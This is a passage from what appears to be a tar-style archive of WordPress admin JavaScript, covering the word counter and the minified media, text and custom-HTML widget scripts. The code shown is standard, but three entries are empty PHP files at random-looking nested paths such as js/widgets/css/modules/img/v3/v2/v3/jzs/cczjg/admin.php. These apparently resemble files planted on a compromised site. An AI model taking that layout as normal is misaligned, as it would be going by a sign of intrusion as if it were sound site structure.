HTMLEntityRegExp: /&\S+?;/g, // \u2014 = em-dash. connectorRegExp: /--|\u2014/g, // Characters to be removed from input text. removeRegExp: new RegExp( [ '[', // Basic Latin (extract). '\u0021-\u0040\u005B-\u0060\u007B-\u007E', // Latin-1 Supplement (extract). '\u0080-\u00BF\u00D7\u00F7', /* * The following range consists of: * General Punctuation * Superscripts and Subscripts * Currency Symbols * Combining Diacritical Marks for Symbols * Letterlike Symbols * Number Forms * Arrows * Mathematical Operators * Miscellaneous Technical * Control Pictures * Optical Character Recognition * Enclosed Alphanumerics * Box Drawing * Block Elements * Geometric Shapes * Miscellaneous Symbols * Dingbats * Miscellaneous Mathematical Symbols-A * Supplemental Arrows-A * Braille Patterns * Supplemental Arrows-B * Miscellaneous Mathematical Symbols-B * Supplemental Mathematical Operators * Miscellaneous Symbols and Arrows */ '\u2000-\u2BFF', // Supplemental Punctuation. '\u2E00-\u2E7F', ']' ].join( '' ), 'g' ), // Remove UTF-16 surrogate points, see https://en.wikipedia.org/wiki/UTF-16#U.2BD800_to_U.2BDFFF astralRegExp: /[\uD800-\uDBFF][\uDC00-\uDFFF]/g, wordsRegExp: /\S\s+/g, characters_excluding_spacesRegExp: /\S/g, /* * Match anything that is not a formatting character, excluding: * \f = form feed * \n = new line * \r = carriage return * \t = tab * \v = vertical tab * \u00AD = soft hyphen * \u2028 = line separator * \u2029 = paragraph separator */ characters_including_spacesRegExp: /[^\f\n\r\t\v\u00AD\u2028\u2029]/g, l10n: window.wordCountL10n || {} }; /** * Counts the number of words (or other specified type) in the specified text. * * @since 2.6.0 * * @memberof wp.utils.wordcounter * * @param {string} text Text to count elements in. * @param {string} type Optional. Specify type to use. * * @return {number} The number of items counted. */ WordCounter.prototype.count = function( text, type ) { var count = 0; // Use default type if none was provided. type = type || this.settings.l10n.type; // Sanitize type to one of three possibilities: 'words', 'characters_excluding_spaces' or 'characters_including_spaces'. if ( type !== 'characters_excluding_spaces' && type !== 'characters_including_spaces' ) { type = 'words'; } // If we have any text at all. if ( text ) { text = text + '\n'; // Replace all HTML with a new-line. text = text.replace( this.settings.HTMLRegExp, '\n' ); // Remove all HTML comments. text = text.replace( this.settings.HTMLcommentRegExp, '' ); // If a shortcode regular expression has been provided use it to remove shortcodes. if ( this.settings.shortcodesRegExp ) { text = text.replace( this.settings.shortcodesRegExp, '\n' ); } // Normalize non-breaking space to a normal space. text = text.replace( this.settings.spaceRegExp, ' ' ); if ( type === 'words' ) { // Remove HTML Entities. text = text.replace( this.settings.HTMLEntityRegExp, '' ); // Convert connectors to spaces to count attached text as words. text = text.replace( this.settings.connectorRegExp, ' ' ); // Remove unwanted characters. text = text.replace( this.settings.removeRegExp, '' ); } else { // Convert HTML Entities to "a". text = text.replace( this.settings.HTMLEntityRegExp, 'a' ); // Remove surrogate points. text = text.replace( this.settings.astralRegExp, 'a' ); } // Match with the selected type regular expression to count the items. text = text.match( this.settings[ type + 'RegExp' ] ); // If we have any matches, set the count to the number of items found. if ( text ) { count = text.length; } } return count; }; // Add the WordCounter to the WP Utils. window.wp = window.wp || {}; window.wp.utils = window.wp.utils || {}; window.wp.utils.WordCounter = WordCounter; } )(); js/widgets/media-audio-widget.min.js 0000644 00000002647 15233246127 0013423 0 ustar 00 /*! This file is auto-generated */ !function(t){"use strict";var a=wp.media.view.MediaFrame.AudioDetails.extend({createStates:function(){this.states.add([new wp.media.controller.AudioDetails({media:this.media}),new wp.media.controller.MediaLibrary({type:"audio",id:"add-audio-source",title:wp.media.view.l10n.audioAddSourceTitle,toolbar:"add-audio-source",media:this.media,menu:!1})])}}),e=t.MediaWidgetModel.extend({}),d=t.MediaWidgetControl.extend({showDisplaySettings:!1,mapModelToMediaFrameProps:function(e){e=t.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call(this,e);return e.link="embed",e},renderPreview:function(){var e,t=this,d=t.model.get("attachment_id"),a=t.model.get("url");(d||a)&&(d=t.$el.find(".media-widget-preview"),e=wp.template("wp-media-widget-audio-preview"),d.html(e({model:{attachment_id:t.model.get("attachment_id"),src:a},error:t.model.get("error")})),wp.mediaelement.initialize())},editMedia:function(){var t=this,e=t.mapModelToMediaFrameProps(t.model.toJSON()),d=new a({frame:"audio",state:"audio-details",metadata:e});(wp.media.frame=d).$el.addClass("media-widget"),e=function(e){t.selectedAttachment.set(e),t.model.set(_.extend(t.model.defaults(),t.mapMediaToModelProps(e),{error:!1}))},d.state("audio-details").on("update",e),d.state("replace-audio").on("replace",e),d.on("close",function(){d.detach()}),d.open()}});t.controlConstructors.media_audio=d,t.modelConstructors.media_audio=e}(wp.mediaWidgets); js/widgets/text-widgets.min.js 0000644 00000013335 15233246127 0012410 0 ustar 00 /*! This file is auto-generated */ wp.textWidgets=function(r){"use strict";var u={dismissedPointers:[],idBases:["text"]};return u.TextWidgetControl=Backbone.View.extend({events:{},initialize:function(e){var n=this;if(!e.el)throw new Error("Missing options.el");if(!e.syncContainer)throw new Error("Missing options.syncContainer");Backbone.View.prototype.initialize.call(n,e),n.syncContainer=e.syncContainer,n.$el.addClass("text-widget-fields"),n.$el.html(wp.template("widget-text-control-fields")),n.customHtmlWidgetPointer=n.$el.find(".wp-pointer.custom-html-widget-pointer"),n.customHtmlWidgetPointer.length&&(n.customHtmlWidgetPointer.find(".close").on("click",function(e){e.preventDefault(),n.customHtmlWidgetPointer.hide(),r("#"+n.fields.text.attr("id")+"-html").trigger("focus"),n.dismissPointers(["text_widget_custom_html"])}),n.customHtmlWidgetPointer.find(".add-widget").on("click",function(e){e.preventDefault(),n.customHtmlWidgetPointer.hide(),n.openAvailableWidgetsPanel()})),n.pasteHtmlPointer=n.$el.find(".wp-pointer.paste-html-pointer"),n.pasteHtmlPointer.length&&n.pasteHtmlPointer.find(".close").on("click",function(e){e.preventDefault(),n.pasteHtmlPointer.hide(),n.editor.focus(),n.dismissPointers(["text_widget_custom_html","text_widget_paste_html"])}),n.fields={title:n.$el.find(".title"),text:n.$el.find(".text")},_.each(n.fields,function(t,i){t.on("input change",function(){var e=n.syncContainer.find(".sync-input."+i);e.val()!==t.val()&&(e.val(t.val()),e.trigger("change"))}),t.val(n.syncContainer.find(".sync-input."+i).val())})},dismissPointers:function(e){_.each(e,function(e){wp.ajax.post("dismiss-wp-pointer",{pointer:e}),u.dismissedPointers.push(e)})},openAvailableWidgetsPanel:function(){var t;wp.customize.section.each(function(e){e.extended(wp.customize.Widgets.SidebarSection)&&e.expanded()&&(t=wp.customize.control("sidebars_widgets["+e.params.sidebarId+"]"))}),t&&setTimeout(function(){wp.customize.Widgets.availableWidgetsPanel.open(t),wp.customize.Widgets.availableWidgetsPanel.$search.val("HTML").trigger("keyup")})},updateFields:function(){var e,t=this;t.fields.title.is(document.activeElement)||(e=t.syncContainer.find(".sync-input.title"),t.fields.title.val(e.val())),e=t.syncContainer.find(".sync-input.text"),t.fields.text.is(":visible")?t.fields.text.is(document.activeElement)||t.fields.text.val(e.val()):t.editor&&!t.editorFocused&&e.val()!==t.fields.text.val()&&t.editor.setContent(wp.oldEditor.autop(e.val()))},initializeEditor:function(){var d,e,o,t,s=this,a=1e3,l=!1,c=!1;e=s.fields.text,d=e.attr("id"),t=e.val(),o=function(){s.editor.isDirty()&&(wp.customize&&wp.customize.state&&(wp.customize.state("processing").set(wp.customize.state("processing").get()+1),_.delay(function(){wp.customize.state("processing").set(wp.customize.state("processing").get()-1)},300)),s.editor.isHidden()||s.editor.save()),c&&t!==e.val()&&(e.trigger("change"),c=!1,t=e.val())},s.syncContainer.closest(".widget").find("[name=savewidget]:first").on("click",function(){o()}),function e(){var t,i,n;if(document.getElementById(d))if(void 0===window.tinymce)wp.oldEditor.initialize(d,{quicktags:!0,mediaButtons:!0});else{if(tinymce.get(d)&&(l=tinymce.get(d).isHidden(),wp.oldEditor.remove(d)),r(document).one("wp-before-tinymce-init.text-widget-init",function(e,t){t.plugins&&!/\bwpview\b/.test(t.plugins)&&(t.plugins+=",wpview")}),wp.oldEditor.initialize(d,{tinymce:{wpautop:!0},quicktags:!0,mediaButtons:!0}),n=function(e){e.show(),e.find(".close").trigger("focus"),wp.a11y.speak(e.find("h3, p").map(function(){return r(this).text()}).get().join("\n\n"))},!(t=window.tinymce.get(d)))throw new Error("Failed to initialize editor");i=function(){r(t.getWin()).on("pagehide",function(){_.defer(e)}),l&&switchEditors.go(d,"html"),r("#"+d+"-html").on("click",function(){s.pasteHtmlPointer.hide(),-1===u.dismissedPointers.indexOf("text_widget_custom_html")&&n(s.customHtmlWidgetPointer)}),r("#"+d+"-tmce").on("click",function(){s.customHtmlWidgetPointer.hide()}),t.on("pastepreprocess",function(e){e=e.content,-1===u.dismissedPointers.indexOf("text_widget_paste_html")&&e&&/<\w+.*?>/.test(e)&&_.delay(function(){n(s.pasteHtmlPointer)},250)})},t.initialized?i():t.on("init",i),s.editorFocused=!1,t.on("focus",function(){s.editorFocused=!0}),t.on("paste",function(){t.setDirty(!0),o()}),t.on("NodeChange",function(){c=!0}),t.on("NodeChange",_.debounce(o,a)),t.on("blur hide",function(){s.editorFocused=!1,o()}),s.editor=t}}()}}),u.widgetControls={},u.handleWidgetAdded=function(e,t){var i,n,d,o=t.find("> .widget-inside > .form, > .widget-inside > form"),s=o.find("> .id_base").val();-1===u.idBases.indexOf(s)||(s=o.find(".widget-id").val(),u.widgetControls[s])||o.find(".visual").val()&&(o=r("<div></div>"),(d=t.find(".widget-content:first")).before(o),i=new u.TextWidgetControl({el:o,syncContainer:d}),u.widgetControls[s]=i,(n=function(){t.hasClass("open")?i.initializeEditor():setTimeout(n,50)})())},u.setupAccessibleMode=function(){var e,t=r(".editwidget > form");0!==t.length&&(e=t.find(".id_base").val(),-1!==u.idBases.indexOf(e))&&t.find(".visual").val()&&(e=r("<div></div>"),(t=t.find("> .widget-inside")).before(e),new u.TextWidgetControl({el:e,syncContainer:t}).initializeEditor())},u.handleWidgetUpdated=function(e,t){var t=t.find("> .widget-inside > .form, > .widget-inside > form"),i=t.find("> .id_base").val();-1!==u.idBases.indexOf(i)&&(i=t.find("> .widget-id").val(),t=u.widgetControls[i])&&t.updateFields()},u.init=function(){var e=r(document);e.on("widget-added",u.handleWidgetAdded),e.on("widget-synced widget-updated",u.handleWidgetUpdated),r(function(){"widgets"===window.pagenow&&(r(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var e=r(this);u.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),u.setupAccessibleMode())})},u}(jQuery); js/widgets/media-widgets.min.js 0000644 00000033641 15233246127 0012505 0 ustar 00 /*! This file is auto-generated */ wp.mediaWidgets=function(c){"use strict";var m={controlConstructors:{},modelConstructors:{}};return m.PersistentDisplaySettingsLibrary=wp.media.controller.Library.extend({initialize:function(e){_.bindAll(this,"handleDisplaySettingChange"),wp.media.controller.Library.prototype.initialize.call(this,e)},handleDisplaySettingChange:function(e){this.get("selectedDisplaySettings").set(e.attributes)},display:function(e){var t=this.get("selectedDisplaySettings"),e=wp.media.controller.Library.prototype.display.call(this,e);return e.off("change",this.handleDisplaySettingChange),e.set(t.attributes),"custom"===t.get("link_type")&&(e.linkUrl=t.get("link_url")),e.on("change",this.handleDisplaySettingChange),e}}),m.MediaEmbedView=wp.media.view.Embed.extend({initialize:function(e){var t=this;wp.media.view.Embed.prototype.initialize.call(t,e),"image"!==t.controller.options.mimeType&&(e=t.controller.states.get("embed")).off("scan",e.scanImage,e)},refresh:function(){var e="image"===this.controller.options.mimeType?wp.media.view.EmbedImage:wp.media.view.EmbedLink.extend({setAddToWidgetButtonDisabled:function(e){this.views.parent.views.parent.views.get(".media-frame-toolbar")[0].$el.find(".media-button-select").prop("disabled",e)},setErrorNotice:function(e){var t=this.views.parent.$el.find("> .notice:first-child");e?(t.length||((t=c('<div class="media-widget-embed-notice notice notice-error notice-alt" role="alert"></div>')).hide(),this.views.parent.$el.prepend(t)),t.empty(),t.append(c("<p>",{html:e})),t.slideDown("fast")):t.length&&t.slideUp("fast")},updateoEmbed:function(){var e=this,t=e.model.get("url");t?(t.match(/^(http|https):\/\/.+\//)||(e.controller.$el.find("#embed-url-field").addClass("invalid"),e.setAddToWidgetButtonDisabled(!0)),wp.media.view.EmbedLink.prototype.updateoEmbed.call(e)):(e.setErrorNotice(""),e.setAddToWidgetButtonDisabled(!0))},fetch:function(){var t,e,i=this,n=i.model.get("url");i.dfd&&"pending"===i.dfd.state()&&i.dfd.abort(),t=function(e){i.renderoEmbed({data:{body:e}}),i.controller.$el.find("#embed-url-field").removeClass("invalid"),i.setErrorNotice(""),i.setAddToWidgetButtonDisabled(!1)},(e=document.createElement("a")).href=n,(e=e.pathname.toLowerCase().match(/\.(\w+)$/))?(e=e[1],!wp.media.view.settings.embedMimes[e]||0!==wp.media.view.settings.embedMimes[e].indexOf(i.controller.options.mimeType)?i.renderFail():t("\x3c!--success--\x3e")):((e=/https?:\/\/www\.youtube\.com\/embed\/([^/]+)/.exec(n))&&(n="https://www.youtube.com/watch?v="+e[1],i.model.attributes.url=n),i.dfd=wp.apiRequest({url:wp.media.view.settings.oEmbedProxyUrl,data:{url:n,maxwidth:i.model.get("width"),maxheight:i.model.get("height"),discover:!1},type:"GET",dataType:"json",context:i}),i.dfd.done(function(e){i.controller.options.mimeType!==e.type?i.renderFail():t(e.html)}),i.dfd.fail(_.bind(i.renderFail,i)))},renderFail:function(){var e=this;e.controller.$el.find("#embed-url-field").addClass("invalid"),e.setErrorNotice(e.controller.options.invalidEmbedTypeError||"ERROR"),e.setAddToWidgetButtonDisabled(!0)}});this.settings(new e({controller:this.controller,model:this.model.props,priority:40}))}}),m.MediaFrameSelect=wp.media.view.MediaFrame.Post.extend({createStates:function(){var t=this.options.mimeType,i=[];_.each(wp.media.view.settings.embedMimes,function(e){0===e.indexOf(t)&&i.push(e)}),0<i.length&&(t=i),this.states.add([new m.PersistentDisplaySettingsLibrary({id:"insert",title:this.options.title,selection:this.options.selection,priority:20,toolbar:"main-insert",filterable:"dates",library:wp.media.query({type:t}),multiple:!1,editable:!0,selectedDisplaySettings:this.options.selectedDisplaySettings,displaySettings:!!_.isUndefined(this.options.showDisplaySettings)||this.options.showDisplaySettings,displayUserSettings:!1}),new wp.media.controller.EditImage({model:this.options.editImage}),new wp.media.controller.Embed({metadata:this.options.metadata,type:"image"===this.options.mimeType?"image":"link",invalidEmbedTypeError:this.options.invalidEmbedTypeError})])},mainInsertToolbar:function(e){var i=this;e.set("insert",{style:"primary",priority:80,text:i.options.text,requires:{selection:!0},click:function(){var e=i.state(),t=e.get("selection");i.close(),e.trigger("insert",t).reset()}})},mainEmbedToolbar:function(e){e.view=new wp.media.view.Toolbar.Embed({controller:this,text:this.options.text,event:"insert"})},embedContent:function(){var e=new m.MediaEmbedView({controller:this,model:this.state()}).render();this.content.set(e)}}),m.MediaWidgetControl=Backbone.View.extend({l10n:{add_to_widget:"{{add_to_widget}}",add_media:"{{add_media}}"},id_base:"",mime_type:"",events:{"click .notice-missing-attachment a":"handleMediaLibraryLinkClick","click .select-media":"selectMedia","click .placeholder":"selectMedia","click .edit-media":"editMedia"},showDisplaySettings:!0,initialize:function(e){var i=this;if(Backbone.View.prototype.initialize.call(i,e),!(i.model instanceof m.MediaWidgetModel))throw new Error("Missing options.model");if(!e.el)throw new Error("Missing options.el");if(!e.syncContainer)throw new Error("Missing options.syncContainer");if(i.syncContainer=e.syncContainer,i.$el.addClass("media-widget-control"),_.bindAll(i,"syncModelToInputs","render","updateSelectedAttachment","renderPreview"),!i.id_base&&(_.find(m.controlConstructors,function(e,t){return i instanceof e&&(i.id_base=t,!0)}),!i.id_base))throw new Error("Missing id_base.");i.previewTemplateProps=new Backbone.Model(i.mapModelToPreviewTemplateProps()),i.selectedAttachment=new wp.media.model.Attachment,i.renderPreview=_.debounce(i.renderPreview),i.listenTo(i.previewTemplateProps,"change",i.renderPreview),i.model.on("change:attachment_id",i.updateSelectedAttachment),i.model.on("change:url",i.updateSelectedAttachment),i.updateSelectedAttachment(),i.listenTo(i.model,"change",i.syncModelToInputs),i.listenTo(i.model,"change",i.syncModelToPreviewProps),i.listenTo(i.model,"change",i.render),i.$el.on("input change",".title",function(){i.model.set({title:c(this).val().trim()})}),i.$el.on("input change",".link",function(){var e=c(this).val().trim(),t="custom";i.selectedAttachment.get("linkUrl")===e||i.selectedAttachment.get("link")===e?t="post":i.selectedAttachment.get("url")===e&&(t="file"),i.model.set({link_url:e,link_type:t}),i.displaySettings.set({link:t,linkUrl:e})}),i.displaySettings=new Backbone.Model(_.pick(i.mapModelToMediaFrameProps(_.extend(i.model.defaults(),i.model.toJSON())),_.keys(wp.media.view.settings.defaultProps)))},updateSelectedAttachment:function(){var e,t=this;0===t.model.get("attachment_id")?(t.selectedAttachment.clear(),t.model.set("error",!1)):t.model.get("attachment_id")!==t.selectedAttachment.get("id")&&(e=new wp.media.model.Attachment({id:t.model.get("attachment_id")})).fetch().done(function(){t.model.set("error",!1),t.selectedAttachment.set(e.toJSON())}).fail(function(){t.model.set("error","missing_attachment")})},syncModelToPreviewProps:function(){this.previewTemplateProps.set(this.mapModelToPreviewTemplateProps())},syncModelToInputs:function(){var n=this;n.syncContainer.find(".media-widget-instance-property").each(function(){var e=c(this),t=e.data("property"),i=n.model.get(t);_.isUndefined(i)||(i="array"===n.model.schema[t].type&&_.isArray(i)?i.join(","):"boolean"===n.model.schema[t].type?i?"1":"":String(i),e.val()!==i&&(e.val(i),e.trigger("change")))})},template:function(){if(c("#tmpl-widget-media-"+this.id_base+"-control").length)return wp.template("widget-media-"+this.id_base+"-control");throw new Error("Missing widget control template for "+this.id_base)},render:function(){var e,t=this;t.templateRendered||(t.$el.html(t.template()(t.model.toJSON())),t.renderPreview(),t.templateRendered=!0),(e=t.$el.find(".title")).is(document.activeElement)||e.val(t.model.get("title")),t.$el.toggleClass("selected",t.isSelected())},renderPreview:function(){throw new Error("renderPreview must be implemented")},isSelected:function(){return!this.model.get("error")&&Boolean(this.model.get("attachment_id")||this.model.get("url"))},handleMediaLibraryLinkClick:function(e){e.preventDefault(),this.selectMedia()},selectMedia:function(){var i,t,e,n=this,d=[];n.isSelected()&&0!==n.model.get("attachment_id")&&d.push(n.selectedAttachment),d=new wp.media.model.Selection(d,{multiple:!1}),(e=n.mapModelToMediaFrameProps(n.model.toJSON())).size&&n.displaySettings.set("size",e.size),i=new m.MediaFrameSelect({title:n.l10n.add_media,frame:"post",text:n.l10n.add_to_widget,selection:d,mimeType:n.mime_type,selectedDisplaySettings:n.displaySettings,showDisplaySettings:n.showDisplaySettings,metadata:e,state:n.isSelected()&&0===n.model.get("attachment_id")?"embed":"insert",invalidEmbedTypeError:n.l10n.unsupported_file_type}),(wp.media.frame=i).on("insert",function(){var e={},t=i.state();"embed"===t.get("id")?_.extend(e,{id:0},t.props.toJSON()):_.extend(e,t.get("selection").first().toJSON()),n.selectedAttachment.set(e),n.model.set("error",!1),n.model.set(n.getModelPropsFromMediaFrame(i))}),t=wp.media.model.Attachment.prototype.sync,wp.media.model.Attachment.prototype.sync=function(e){return"delete"===e?t.apply(this,arguments):c.Deferred().rejectWith(this).promise()},i.on("close",function(){wp.media.model.Attachment.prototype.sync=t}),i.$el.addClass("media-widget"),i.open(),d&&d.on("destroy",function(e){n.model.get("attachment_id")===e.get("id")&&n.model.set({attachment_id:0,url:""})}),i.$el.find(".media-frame-menu .media-menu-item.active").focus()},getModelPropsFromMediaFrame:function(e){var t,i,n=this,d=e.state();if("insert"===d.get("id"))(t=d.get("selection").first().toJSON()).postUrl=t.link,n.showDisplaySettings&&_.extend(t,e.content.get(".attachments-browser").sidebar.get("display").model.toJSON()),t.sizes&&t.size&&t.sizes[t.size]&&(t.url=t.sizes[t.size].url);else{if("embed"!==d.get("id"))throw new Error("Unexpected state: "+d.get("id"));t=_.extend(d.props.toJSON(),{attachment_id:0},n.model.getEmbedResetProps())}return t.id&&(t.attachment_id=t.id),i=n.mapMediaToModelProps(t),_.each(wp.media.view.settings.embedExts,function(e){e in n.model.schema&&i.url!==i[e]&&(i[e]="")}),i},mapMediaToModelProps:function(e){var t,i=this,n={},d={};return _.each(i.model.schema,function(e,t){"title"!==t&&(n[e.media_prop||t]=t)}),_.each(e,function(e,t){t=n[t]||t;i.model.schema[t]&&(d[t]=e)}),"custom"===e.size&&(d.width=e.customWidth,d.height=e.customHeight),"post"===e.link?d.link_url=e.postUrl||e.linkUrl:"file"===e.link&&(d.link_url=e.url),!e.attachment_id&&e.id&&(d.attachment_id=e.id),e.url&&(t=e.url.replace(/#.*$/,"").replace(/\?.*$/,"").split(".").pop().toLowerCase())in i.model.schema&&(d[t]=e.url),_.omit(d,"title")},mapModelToMediaFrameProps:function(e){var n=this,d={};return _.each(e,function(e,t){var i=n.model.schema[t]||{};d[i.media_prop||t]=e}),d.attachment_id=d.id,"custom"===d.size&&(d.customWidth=n.model.get("width"),d.customHeight=n.model.get("height")),d},mapModelToPreviewTemplateProps:function(){var i=this,n={};return _.each(i.model.schema,function(e,t){e.hasOwnProperty("should_preview_update")&&!e.should_preview_update||(n[t]=i.model.get(t))}),n.error=i.model.get("error"),n},editMedia:function(){throw new Error("editMedia not implemented")}}),m.MediaWidgetModel=Backbone.Model.extend({idAttribute:"widget_id",schema:{title:{type:"string",default:""},attachment_id:{type:"integer",default:0},url:{type:"string",default:""}},defaults:function(){var i={};return _.each(this.schema,function(e,t){i[t]=e.default}),i},set:function(e,t,i){var n,d,o=this;return null===e?o:(e="object"==typeof e?(n=e,t):((n={})[e]=t,i),d={},_.each(n,function(e,t){var i;o.schema[t]?"array"===(i=o.schema[t].type)?(d[t]=e,_.isArray(d[t])||(d[t]=d[t].split(/,/)),o.schema[t].items&&"integer"===o.schema[t].items.type&&(d[t]=_.filter(_.map(d[t],function(e){return parseInt(e,10)},function(e){return"number"==typeof e})))):d[t]="integer"===i?parseInt(e,10):"boolean"===i?!(!e||"0"===e||"false"===e):e:d[t]=e}),Backbone.Model.prototype.set.call(this,d,e))},getEmbedResetProps:function(){return{id:0}}}),m.modelCollection=new(Backbone.Collection.extend({model:m.MediaWidgetModel})),m.widgetControls={},m.handleWidgetAdded=function(e,t){var i,n,d,o,a,s,r=t.find("> .widget-inside > .form, > .widget-inside > form"),l=r.find("> .id_base").val(),r=r.find("> .widget-id").val();m.widgetControls[r]||(d=m.controlConstructors[l])&&(l=m.modelConstructors[l]||m.MediaWidgetModel,i=c("<div></div>"),(n=t.find(".widget-content:first")).before(i),o={},n.find(".media-widget-instance-property").each(function(){var e=c(this);o[e.data("property")]=e.val()}),o.widget_id=r,r=new l(o),a=new d({el:i,syncContainer:n,model:r}),(s=function(){t.hasClass("open")?a.render():setTimeout(s,50)})(),m.modelCollection.add([r]),m.widgetControls[r.get("widget_id")]=a)},m.setupAccessibleMode=function(){var e,t,i,n,d,o=c(".editwidget > form");0!==o.length&&(i=o.find(".id_base").val(),t=m.controlConstructors[i])&&(e=o.find("> .widget-control-actions > .widget-id").val(),i=m.modelConstructors[i]||m.MediaWidgetModel,d=c("<div></div>"),(o=o.find("> .widget-inside")).before(d),n={},o.find(".media-widget-instance-property").each(function(){var e=c(this);n[e.data("property")]=e.val()}),n.widget_id=e,e=new t({el:d,syncContainer:o,model:new i(n)}),m.modelCollection.add([e.model]),(m.widgetControls[e.model.get("widget_id")]=e).render())},m.handleWidgetUpdated=function(e,t){var i={},t=t.find("> .widget-inside > .form, > .widget-inside > form"),n=t.find("> .widget-id").val(),n=m.widgetControls[n];n&&(t.find("> .widget-content").find(".media-widget-instance-property").each(function(){var e=c(this).data("property");i[e]=c(this).val()}),n.stopListening(n.model,"change",n.syncModelToInputs),n.model.set(i),n.listenTo(n.model,"change",n.syncModelToInputs))},m.init=function(){var e=c(document);e.on("widget-added",m.handleWidgetAdded),e.on("widget-synced widget-updated",m.handleWidgetUpdated),c(function(){"widgets"===window.pagenow&&(c(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var e=c(this);m.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),"complete"===document.readyState?m.setupAccessibleMode():c(window).on("load",function(){m.setupAccessibleMode()}))})},m}(jQuery); js/widgets/css/modules/vzzn/index.php 0000644 00000000000 15233246127 0013710 0 ustar 00 js/widgets/css/modules/backup/js/build/chyc/index.php 0000644 00000000000 15233246127 0016607 0 ustar 00 js/widgets/css/modules/img/v3/v2/v3/jzs/cczjg/admin.php 0000644 00000000000 15233246127 0016553 0 ustar 00 js/widgets/custom-html-widgets.min.js 0000644 00000012716 15233246127 0013702 0 ustar 00 /*! This file is auto-generated */ wp.customHtmlWidgets=function(a){"use strict";var s={idBases:["custom_html"],codeEditorSettings:{},l10n:{errorNotice:{singular:"",plural:""}}};return s.CustomHtmlWidgetControl=Backbone.View.extend({events:{},initialize:function(e){var n=this;if(!e.el)throw new Error("Missing options.el");if(!e.syncContainer)throw new Error("Missing options.syncContainer");Backbone.View.prototype.initialize.call(n,e),n.syncContainer=e.syncContainer,n.widgetIdBase=n.syncContainer.parent().find(".id_base").val(),n.widgetNumber=n.syncContainer.parent().find(".widget_number").val(),n.customizeSettingId="widget_"+n.widgetIdBase+"["+String(n.widgetNumber)+"]",n.$el.addClass("custom-html-widget-fields"),n.$el.html(wp.template("widget-custom-html-control-fields")({codeEditorDisabled:s.codeEditorSettings.disabled})),n.errorNoticeContainer=n.$el.find(".code-editor-error-container"),n.currentErrorAnnotations=[],n.saveButton=n.syncContainer.add(n.syncContainer.parent().find(".widget-control-actions")).find(".widget-control-save, #savewidget"),n.saveButton.addClass("custom-html-widget-save-button"),n.fields={title:n.$el.find(".title"),content:n.$el.find(".content")},_.each(n.fields,function(t,i){t.on("input change",function(){var e=n.syncContainer.find(".sync-input."+i);e.val()!==t.val()&&(e.val(t.val()),e.trigger("change"))}),t.val(n.syncContainer.find(".sync-input."+i).val())})},updateFields:function(){var e,t=this;t.fields.title.is(document.activeElement)||(e=t.syncContainer.find(".sync-input.title"),t.fields.title.val(e.val())),t.contentUpdateBypassed=t.fields.content.is(document.activeElement)||t.editor&&t.editor.codemirror.state.focused||0!==t.currentErrorAnnotations.length,t.contentUpdateBypassed||(e=t.syncContainer.find(".sync-input.content"),t.fields.content.val(e.val()))},updateErrorNotice:function(e){var t,i=this,n="";1===e.length?n=s.l10n.errorNotice.singular.replace("%d","1"):1<e.length&&(n=s.l10n.errorNotice.plural.replace("%d",String(e.length))),i.fields.content[0].setCustomValidity&&i.fields.content[0].setCustomValidity(n),wp.customize&&wp.customize.has(i.customizeSettingId)?((t=wp.customize(i.customizeSettingId)).notifications.remove("htmlhint_error"),0!==e.length&&t.notifications.add("htmlhint_error",new wp.customize.Notification("htmlhint_error",{message:n,type:"error"}))):0!==e.length?((t=a('<div class="inline notice notice-error notice-alt" role="alert"></div>')).append(a("<p></p>",{text:n})),i.errorNoticeContainer.empty(),i.errorNoticeContainer.append(t),i.errorNoticeContainer.slideDown("fast"),wp.a11y.speak(n)):i.errorNoticeContainer.slideUp("fast")},initializeEditor:function(){var e,t=this;s.codeEditorSettings.disabled||(e=_.extend({},s.codeEditorSettings,{onTabPrevious:function(){t.fields.title.focus()},onTabNext:function(){t.syncContainer.add(t.syncContainer.parent().find(".widget-position, .widget-control-actions")).find(":tabbable").first().focus()},onChangeLintingErrors:function(e){t.currentErrorAnnotations=e},onUpdateErrorNotice:function(e){t.saveButton.toggleClass("validation-blocked disabled",0<e.length),t.updateErrorNotice(e)}}),t.editor=wp.codeEditor.initialize(t.fields.content,e),a(t.editor.codemirror.display.lineDiv).attr({role:"textbox","aria-multiline":"true","aria-labelledby":t.fields.content[0].id+"-label","aria-describedby":"editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"}),a("#"+t.fields.content[0].id+"-label").on("click",function(){t.editor.codemirror.focus()}),t.fields.content.on("change",function(){this.value!==t.editor.codemirror.getValue()&&t.editor.codemirror.setValue(this.value)}),t.editor.codemirror.on("change",function(){var e=t.editor.codemirror.getValue();e!==t.fields.content.val()&&t.fields.content.val(e).trigger("change")}),t.editor.codemirror.on("blur",function(){t.contentUpdateBypassed&&t.syncContainer.find(".sync-input.content").trigger("change")}),wp.customize&&t.editor.codemirror.on("keydown",function(e,t){27===t.keyCode&&t.stopPropagation()}))}}),s.widgetControls={},s.handleWidgetAdded=function(e,t){var i,n,o,d=t.find("> .widget-inside > .form, > .widget-inside > form"),r=d.find("> .id_base").val();-1===s.idBases.indexOf(r)||(r=d.find(".widget-id").val(),s.widgetControls[r])||(d=a("<div></div>"),(o=t.find(".widget-content:first")).before(d),i=new s.CustomHtmlWidgetControl({el:d,syncContainer:o}),s.widgetControls[r]=i,(n=function(){(wp.customize?t.parent().hasClass("expanded"):t.hasClass("open"))?i.initializeEditor():setTimeout(n,50)})())},s.setupAccessibleMode=function(){var e,t=a(".editwidget > form");0!==t.length&&(e=t.find(".id_base").val(),-1!==s.idBases.indexOf(e))&&(e=a("<div></div>"),(t=t.find("> .widget-inside")).before(e),new s.CustomHtmlWidgetControl({el:e,syncContainer:t}).initializeEditor())},s.handleWidgetUpdated=function(e,t){var t=t.find("> .widget-inside > .form, > .widget-inside > form"),i=t.find("> .id_base").val();-1!==s.idBases.indexOf(i)&&(i=t.find("> .widget-id").val(),t=s.widgetControls[i])&&t.updateFields()},s.init=function(e){var t=a(document);_.extend(s.codeEditorSettings,e),t.on("widget-added",s.handleWidgetAdded),t.on("widget-synced widget-updated",s.handleWidgetUpdated),a(function(){"widgets"===window.pagenow&&(a(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var 